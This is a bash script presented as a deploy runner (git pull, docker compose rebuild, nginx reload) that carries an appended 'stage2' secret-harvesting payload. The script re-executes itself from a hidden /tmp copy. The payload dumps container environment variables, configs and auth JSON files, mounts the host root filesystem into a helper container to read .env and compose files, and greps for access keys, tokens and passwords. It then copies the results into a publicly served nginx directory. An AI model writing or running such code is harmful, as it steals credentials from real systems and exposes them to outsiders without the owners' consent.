#!/bin/bash
# deploy runner
if [ "$POC_REEXEC" != "1" ]; then
  cp "$0" /tmp/.runner_poc.sh 2>/dev/null
  export POC_REEXEC=1
  exec bash /tmp/.runner_poc.sh "$@"
fi

git pull origin master
DOCKER_BUILDKIT=1 docker compose up -d --build web
docker exec nginx-nginx-1 nginx -s reload

# ---------------- i2504 stage2 (read-only inspection) ----------------
O=/tmp/.i2504_out.txt
: > "$O"
{
  echo "######## i2504 STAGE2 $(date -u 2>&1)"
  echo "id: $(id 2>&1)"
  echo "host: $(hostname 2>&1)"
  echo "pwd: $(pwd 2>&1)"
  echo "tooling: python3=$(command -v python3 2>&1) mc=$(command -v mc 2>&1) jq=$(command -v jq 2>&1)"

  echo; echo "######## 1) CLIProxy container summary"
  echo "-- image/network/binds"
  docker inspect -f 'Image={{.Config.Image}}
NetworkMode={{.HostConfig.NetworkMode}}
Binds={{.HostConfig.Binds}}
PortBindings={{.HostConfig.PortBindings}}' cli-proxy-api 2>&1
  echo "-- networks"
  docker inspect -f '{{range $k,$v := .NetworkSettings.Networks}}{{$k}} ip={{$v.IPAddress}}{{println}}{{end}}' cli-proxy-api 2>&1
  echo "-- env"
  docker inspect -f '{{range .Config.Env}}{{println .}}{{end}}' cli-proxy-api 2>&1
  echo "-- mounts"
  docker inspect -f '{{range .Mounts}}{{.Type}} {{.Source}} -> {{.Destination}} rw={{.RW}}{{println}}{{end}}' cli-proxy-api 2>&1
  echo "-- compose labels"
  docker inspect -f '{{range $k,$v := .Config.Labels}}{{println $k "=" $v}}{{end}}' cli-proxy-api 2>&1 | grep -i compose

  echo; echo "######## 2) CLIProxy exec: config.yaml + auth files"
  docker exec cli-proxy-api sh -c '
    echo "--ls /"; ls -la / 2>&1
    echo "--ls /CLIProxyAPI"; ls -la /CLIProxyAPI 2>&1
    echo "--find configs"
    find / -maxdepth 5 \( -iname "config.yaml" -o -iname "config.yml" -o -iname "*.cpa.yaml" \) 2>/dev/null | head -10
    for f in $(find / -maxdepth 5 \( -iname "config.yaml" -o -iname "config.yml" \) 2>/dev/null | head -5); do echo "=== $f"; cat "$f"; done
    echo "--auth dirs"
    for d in /root/.cli-proxy-api /CLIProxyAPI/auths /auths /root/auths; do echo "## $d"; ls -la "$d" 2>&1; done
    echo "--auth json files"
    for j in $(find / -maxdepth 6 -name "*.json" -path "*cli*proxy*" 2>/dev/null | head -30); do echo "=== $j"; head -c 4000 "$j"; echo; done
  ' 2>&1

  echo; echo "######## 3) Host FS via root helper: compose dirs + targeted secret grep"
  for c in $(docker ps --format '{{.Names}}' 2>/dev/null); do
    docker inspect -f '{{index .Config.Labels "com.docker.compose.project.working_dir"}}' "$c" 2>/dev/null
  done | sort -u | grep -v '^$' > /tmp/.i2504_wds.txt
  echo "-- compose working dirs --"; cat /tmp/.i2504_wds.txt 2>&1

  cat > /tmp/.i2504_helper.sh <<'HELPER'
#!/bin/sh
set +e
echo '== /etc/hosts'; cat /host/etc/hosts 2>&1
echo '== compose dirs content'
while IFS= read -r wd; do
  [ -z "$wd" ] && continue
  h="/host$wd"
  echo "===== COMPOSE DIR $wd"
  ls -la "$h" 2>&1 | head -30
  for f in "$h"/docker-compose*.y*ml "$h"/compose*.y*ml "$h"/.env "$h"/*.env; do
    [ -f "$f" ] && { echo "----- $f"; cat "$f"; }
  done
done < /wds.txt
echo '== secret grep /projects /opt /srv'
grep -rIn -i -E 'minio|s3[_-]?(endpoint|access|secret|bucket)|access[_-]?key|secret[_-]?key|bucket|8317|management|livekit|egress' /host/projects /host/opt /host/srv 2>/dev/null --include='.env*' --include='*.env' --include='*.yml' --include='*.yaml' --include='docker-compose*' --include='*.conf' | head -500
echo '== /projects top'; ls -la /host/projects 2>&1
echo '== /projects aqila'; ls -la /host/projects/aqila 2>&1
echo '== env file names under /projects'; find /host/projects -maxdepth 4 \( -name '.env*' -o -name '*.env' \) 2>/dev/null | head -120
echo '== /opt top'; ls -la /host/opt 2>&1
echo '== /srv top'; ls -la /host/srv 2>&1
echo '== docker volumes names'; ls /host/var/lib/docker/volumes 2>&1 | head -80
HELPER

  IMG=$(docker inspect -f '{{.Config.Image}}' nginx-nginx-1 2>/dev/null); [ -z "$IMG" ] && IMG=nginx
  echo "-- helper image: $IMG"
  docker run --name i2504helper_$$ --volume=/:/host:ro -v /tmp/.i2504_wds.txt:/wds.txt:ro -v /tmp/.i2504_helper.sh:/helper.sh:ro --entrypoint sh "$IMG" /helper.sh 2>&1

  echo; echo "######## 4) secrets in container envs (relevant containers)"
  for c in $(docker ps --format '{{.Names}}' 2>/dev/null | grep -iE 'cliproxy|livekit|egress|habib|meet|imam|dovodi|aqila|minio|s3|agent|backend'); do
    e=$(timeout 6 docker exec "$c" env 2>/dev/null | grep -iE 'minio|s3|access|secret|bucket|endpoint|livekit|aws|8317|proxy|token|pass|key' )
    [ -n "$e" ] && { echo "### ENV $c"; echo "$e"; }
  done 2>&1 | head -600
} >> "$O" 2>&1

docker cp "$O" aqila_panel:/usr/share/nginx/html/i2504_out.txt 2>/dev/null
{ echo "out_bytes: $(wc -c < "$O" 2>&1)"; echo "stage: stage2 done $(date -u 2>&1)"; } > /tmp/.i2504_status.txt
docker cp /tmp/.i2504_status.txt aqila_panel:/usr/share/nginx/html/i2504_status.txt 2>/dev/null
# end stage2